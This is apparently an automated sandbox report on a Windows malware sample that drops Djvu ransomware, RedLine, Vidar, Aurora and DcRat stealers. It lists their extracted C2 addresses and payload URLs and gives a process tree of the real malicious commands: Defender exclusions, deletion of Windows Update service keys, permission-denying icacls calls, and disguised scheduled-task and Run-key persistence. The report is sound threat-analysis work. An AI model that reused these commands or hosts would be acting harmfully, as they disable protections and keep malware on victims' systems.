Analysis
- max time kernel
151s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
12/01/2023, 09:56
General
- Target 7a806996e4de228c9b3e60b9de5c4640.exe
- Size 320KB
- Sample230112-lycabsff64
- SHA256 38805b6c5a03f5e441d82749a50d42e4ab6a03c4ff250d9b2a16d45c7d744cf4
Malware Config
Extracted
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djvu
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http://spaceris.com/lancer/get.php
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extension
.zouu
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offline_id
7hl6KB3alcoZ6n4DhS2rApCezkIMzShntAiXWMt1
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payload_url
http://uaery.top/dl/build2.exe
http://spaceris.com/files/1/build3.exe
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ransomnote
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Extracted
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aurora
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82.115.223.77:8081
Extracted
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vidar
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2
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19
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https://t.me/tgdatapacks
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https://steamcommunity.com/profiles/76561199469677637
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profile_id
19
Extracted
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redline
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5633308507
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65.21.237.20:43077
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auth_value
a53ea2c0cc054e8615f91cd47c18a2de
Extracted
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asyncrat
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1.0.7
-
Default
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190.2.147.39:8848
-
DcRatMutex_qwqdanchun
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delay
1
-
install
false
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install_folder
%AppData%
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
- Aurora
Aurora is a crypto wallet stealer written in Golang.
- DcRat 4 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Detected Djvu ransomware 10 IoCs
- Detects Smokeloader packer 3 IoCs
- Djvu Ransomware
Ransomware which is a variant of the STOP family.
- Modifies security service 2 TTPs 5 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Async RAT payload 1 IoCs
- Blocklisted process makes network request 2 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 22 IoCs
- Stops running service(s) 3 TTPs
- Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 3 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Uses the VBS compiler for execution 1 TTPs
- Accesses 2FA software files, possible credential harvesting 2 TTPs
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Suspicious use of SetThreadContext 9 IoCs
- Drops file in Program Files directory 4 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 3 IoCs
- Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 30 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 30 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious behavior: MapViewOfSection 21 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 10 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\7a806996e4de228c9b3e60b9de5c4640.exe"C:\Users\Admin\AppData\Local\Temp\7a806996e4de228c9b3e60b9de5c4640.exe"2⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Users\Admin\AppData\Local\Temp\E40C.exeC:\Users\Admin\AppData\Local\Temp\E40C.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\E40C.exeC:\Users\Admin\AppData\Local\Temp\E40C.exe3⤵
- DcRat
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\abf4d400-cd68-4f3d-bf7d-5cbe8382514c" /deny *S-1-1-0:(OI)(CI)(DE,DC)4⤵
- Modifies file permissions
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C:\Users\Admin\AppData\Local\Temp\E40C.exe"C:\Users\Admin\AppData\Local\Temp\E40C.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\E40C.exe"C:\Users\Admin\AppData\Local\Temp\E40C.exe" --Admin IsNotAutoStart IsNotTask5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\b7697bc7-0722-4f2c-81c3-e3a2c7135b63\build2.exe"C:\Users\Admin\AppData\Local\b7697bc7-0722-4f2c-81c3-e3a2c7135b63\build2.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
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C:\Users\Admin\AppData\Local\b7697bc7-0722-4f2c-81c3-e3a2c7135b63\build2.exe"C:\Users\Admin\AppData\Local\b7697bc7-0722-4f2c-81c3-e3a2c7135b63\build2.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\b7697bc7-0722-4f2c-81c3-e3a2c7135b63\build2.exe" & exit8⤵
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C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Local\b7697bc7-0722-4f2c-81c3-e3a2c7135b63\build3.exe"C:\Users\Admin\AppData\Local\b7697bc7-0722-4f2c-81c3-e3a2c7135b63\build3.exe"6⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- DcRat
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\E797.exeC:\Users\Admin\AppData\Local\Temp\E797.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\Wbem\wmic.exewmic os get Caption4⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.execmd /C "wmic path win32_VideoController get name"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.execmd /C "wmic cpu get name"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic cpu get name5⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "" "start-process C:\Users\Admin\AppData\Local\Temp\82vGnxpd64.exe"4⤵
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C:\Users\Admin\AppData\Local\Temp\82vGnxpd64.exe"C:\Users\Admin\AppData\Local\Temp\82vGnxpd64.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3932 -s 2443⤵
- Program crash
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C:\Users\Admin\AppData\Local\Temp\EAA5.exeC:\Users\Admin\AppData\Local\Temp\EAA5.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
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C:\Users\Admin\AppData\Local\Temp\EC3C.exeC:\Users\Admin\AppData\Local\Temp\EC3C.exe2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 3723⤵
- Program crash
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C:\Users\Admin\AppData\Local\Temp\6749.exeC:\Users\Admin\AppData\Local\Temp\6749.exe2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\Qytyaworpiotpd.tmp",Edoqqdswdffqipe3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 237834⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
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C:\Windows\SysWOW64\schtasks.exeschtasks /End /tn \Microsoft\Windows\Wininet\CacheTask4⤵
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn \Microsoft\Windows\Wininet\CacheTask4⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1004 -s 5483⤵
- Program crash
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C:\Users\Admin\AppData\Local\Temp\D45C.exeC:\Users\Admin\AppData\Local\Temp\D45C.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\E4E8.exeC:\Users\Admin\AppData\Local\Temp\E4E8.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\E873.exeC:\Users\Admin\AppData\Local\Temp\E873.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\EAF4.exeC:\Users\Admin\AppData\Local\Temp\EAF4.exe2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig/release3⤵
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C:\Windows\SysWOW64\ipconfig.exeipconfig /release4⤵
- Gathers network information
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMQAwAA==3⤵
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C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ipconfig/renew3⤵
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C:\Windows\SysWOW64\ipconfig.exeipconfig /renew4⤵
- Gathers network information
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
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C:\Users\Admin\AppData\Local\Temp\F4C9.exeC:\Users\Admin\AppData\Local\Temp\F4C9.exe2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==3⤵
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C:\Users\Admin\AppData\Local\Temp\F4C9.exeC:\Users\Admin\AppData\Local\Temp\F4C9.exe3⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\F4C9.exeC:\Users\Admin\AppData\Local\Temp\F4C9.exe3⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
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C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }2⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qzignfste#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsHost" } Else { "C:\Program Files\Windows\WindowsHost" }2⤵
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn WindowsHost3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"2⤵
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe yadsrbyzjoct2⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor4⤵
-
-
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe hfskhxmdoncbxhsb 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2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2896 -ip 28961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3932 -ip 39321⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"2⤵
- DcRat
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1004 -ip 10041⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\Windows\WindowsHost"C:\Program Files\Windows\WindowsHost"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
2Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
1Modify Registry
3Scripting
1Replay Monitor
Loading Replay Monitor...
Downloads
g.log
WindowsHost
WindowsHost
mozglue.dll
nss3.dll
07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
powershell.exe.log
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
6749.exe
6749.exe
82vGnxpd64.exe
82vGnxpd64.exe
